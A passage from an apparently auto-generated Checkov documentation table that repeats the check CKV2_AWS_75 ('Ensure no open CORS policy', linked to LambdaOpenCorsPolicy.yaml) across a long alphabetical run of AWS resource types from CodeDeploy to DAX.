[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  467 | CKV2_AWS_75 | resource | aws_codedeploy_app                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  468 | CKV2_AWS_75 | resource | aws_codedeploy_deployment_config                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  469 | CKV2_AWS_75 | resource | aws_codedeploy_deployment_group                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  470 | CKV2_AWS_75 | resource | aws_codeguruprofiler_profiling_group                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  471 | CKV2_AWS_75 | resource | aws_codegurureviewer_repository_association                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  472 | CKV2_AWS_75 | resource | aws_codepipeline                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  473 | CKV2_AWS_75 | resource | aws_codepipeline_custom_action_type                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  474 | CKV2_AWS_75 | resource | aws_codepipeline_webhook                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  475 | CKV2_AWS_75 | resource | aws_codestarconnections_connection                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  476 | CKV2_AWS_75 | resource | aws_codestarconnections_host                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  477 | CKV2_AWS_75 | resource | aws_codestarnotifications_notification_rule                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  478 | CKV2_AWS_75 | resource | aws_cognito_identity_pool                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  479 | CKV2_AWS_75 | resource | aws_cognito_identity_pool_provider_principal_tag                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  480 | CKV2_AWS_75 | resource | aws_cognito_identity_pool_roles_attachment                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  481 | CKV2_AWS_75 | resource | aws_cognito_identity_provider                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  482 | CKV2_AWS_75 | resource | aws_cognito_managed_user_pool_client                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  483 | CKV2_AWS_75 | resource | aws_cognito_resource_server                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  484 | CKV2_AWS_75 | resource | aws_cognito_risk_configuration                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  485 | CKV2_AWS_75 | resource | aws_cognito_user                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  486 | CKV2_AWS_75 | resource | aws_cognito_user_group                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  487 | CKV2_AWS_75 | resource | aws_cognito_user_in_group                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  488 | CKV2_AWS_75 | resource | aws_cognito_user_pool                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  489 | CKV2_AWS_75 | resource | aws_cognito_user_pool_client                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  490 | CKV2_AWS_75 | resource | aws_cognito_user_pool_domain                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  491 | CKV2_AWS_75 | resource | aws_cognito_user_pool_ui_customization                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  492 | CKV2_AWS_75 | resource | aws_comprehend_document_classifier                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  493 | CKV2_AWS_75 | resource | aws_comprehend_entity_recognizer                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  494 | CKV2_AWS_75 | resource | aws_computeoptimizer_enrollment_status                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  495 | CKV2_AWS_75 | resource | aws_computeoptimizer_recommendation_preferences                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  496 | CKV2_AWS_75 | resource | aws_config_aggregate_authorization                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  497 | CKV2_AWS_75 | resource | aws_config_config_rule                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  498 | CKV2_AWS_75 | resource | aws_config_configuration_aggregator                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  499 | CKV2_AWS_75 | resource | aws_config_configuration_recorder                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  500 | CKV2_AWS_75 | resource | aws_config_configuration_recorder_status                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  501 | CKV2_AWS_75 | resource | aws_config_conformance_pack                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  502 | CKV2_AWS_75 | resource | aws_config_delivery_channel                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  503 | CKV2_AWS_75 | resource | aws_config_organization_conformance_pack                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  504 | CKV2_AWS_75 | resource | aws_config_organization_custom_policy_rule                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  505 | CKV2_AWS_75 | resource | aws_config_organization_custom_rule                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  506 | CKV2_AWS_75 | resource | aws_config_organization_managed_rule                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  507 | CKV2_AWS_75 | resource | aws_config_remediation_configuration                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  508 | CKV2_AWS_75 | resource | aws_config_retention_configuration                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  509 | CKV2_AWS_75 | resource | aws_connect_bot_association                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  510 | CKV2_AWS_75 | resource | aws_connect_contact_flow                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  511 | CKV2_AWS_75 | resource | aws_connect_contact_flow_module                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  512 | CKV2_AWS_75 | resource | aws_connect_hours_of_operation                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  513 | CKV2_AWS_75 | resource | aws_connect_instance                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  514 | CKV2_AWS_75 | resource | aws_connect_instance_storage_config                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  515 | CKV2_AWS_75 | resource | aws_connect_lambda_function_association                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  516 | CKV2_AWS_75 | resource | aws_connect_phone_number                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  517 | CKV2_AWS_75 | resource | aws_connect_queue                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  518 | CKV2_AWS_75 | resource | aws_connect_quick_connect                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  519 | CKV2_AWS_75 | resource | aws_connect_routing_profile                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  520 | CKV2_AWS_75 | resource | aws_connect_security_profile                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  521 | CKV2_AWS_75 | resource | aws_connect_user                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  522 | CKV2_AWS_75 | resource | aws_connect_user_hierarchy_group                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  523 | CKV2_AWS_75 | resource | aws_connect_user_hierarchy_structure                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  524 | CKV2_AWS_75 | resource | aws_connect_vocabulary                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  525 | CKV2_AWS_75 | resource | aws_controltower_control                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  526 | CKV2_AWS_75 | resource | aws_controltower_landing_zone                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  527 | CKV2_AWS_75 | resource | aws_costoptimizationhub_enrollment_status                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  528 | CKV2_AWS_75 | resource | aws_costoptimizationhub_preferences                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  529 | CKV2_AWS_75 | resource | aws_cur_report_definition                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  530 | CKV2_AWS_75 | resource | aws_customer_gateway                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  531 | CKV2_AWS_75 | resource | aws_customerprofiles_domain                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  532 | CKV2_AWS_75 | resource | aws_customerprofiles_profile                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  533 | CKV2_AWS_75 | resource | aws_dataexchange_data_set                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  534 | CKV2_AWS_75 | resource | aws_dataexchange_revision                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  535 | CKV2_AWS_75 | resource | aws_datapipeline_pipeline                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  536 | CKV2_AWS_75 | resource | aws_datapipeline_pipeline_definition                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  537 | CKV2_AWS_75 | resource | aws_datasync_agent                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  538 | CKV2_AWS_75 | resource | aws_datasync_location_azure_blob                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  539 | CKV2_AWS_75 | resource | aws_datasync_location_efs                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  540 | CKV2_AWS_75 | resource | aws_datasync_location_fsx_lustre_file_system                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  541 | CKV2_AWS_75 | resource | aws_datasync_location_fsx_ontap_file_system                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  542 | CKV2_AWS_75 | resource | aws_datasync_location_fsx_openzfs_file_system                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  543 | CKV2_AWS_75 | resource | aws_datasync_location_fsx_windows_file_system                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  544 | CKV2_AWS_75 | resource | aws_datasync_location_hdfs                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  545 | CKV2_AWS_75 | resource | aws_datasync_location_nfs                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  546 | CKV2_AWS_75 | resource | aws_datasync_location_object_storage                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  547 | CKV2_AWS_75 | resource | aws_datasync_location_s3                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  548 | CKV2_AWS_75 | resource | aws_datasync_location_smb                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  549 | CKV2_AWS_75 | resource | aws_datasync_task                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  550 | CKV2_AWS_75 | resource | aws_datazone_asset_type                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  551 | CKV2_AWS_75 | resource | aws_datazone_domain                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  552 | CKV2_AWS_75 | resource | aws_datazone_environment                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  553 | CKV2_AWS_75 | resource | aws_datazone_environment_blueprint_configuration                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  554 | CKV2_AWS_75 | resource | aws_datazone_environment_profile                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  555 | CKV2_AWS_75 | resource | aws_datazone_form_type                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  556 | CKV2_AWS_75 | resource | aws_datazone_glossary                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  557 | CKV2_AWS_75 | resource | aws_datazone_glossary_term                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  558 | CKV2_AWS_75 | resource | aws_datazone_project                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  559 | CKV2_AWS_75 | resource | aws_datazone_user_profile                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  560 | CKV2_AWS_75 | resource | aws_dax_cluster                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  561 | CKV2_AWS_75 | resource | aws_dax_parameter_group                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  562 | CKV2_AWS_75 | resource | aws_dax_subnet_group                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  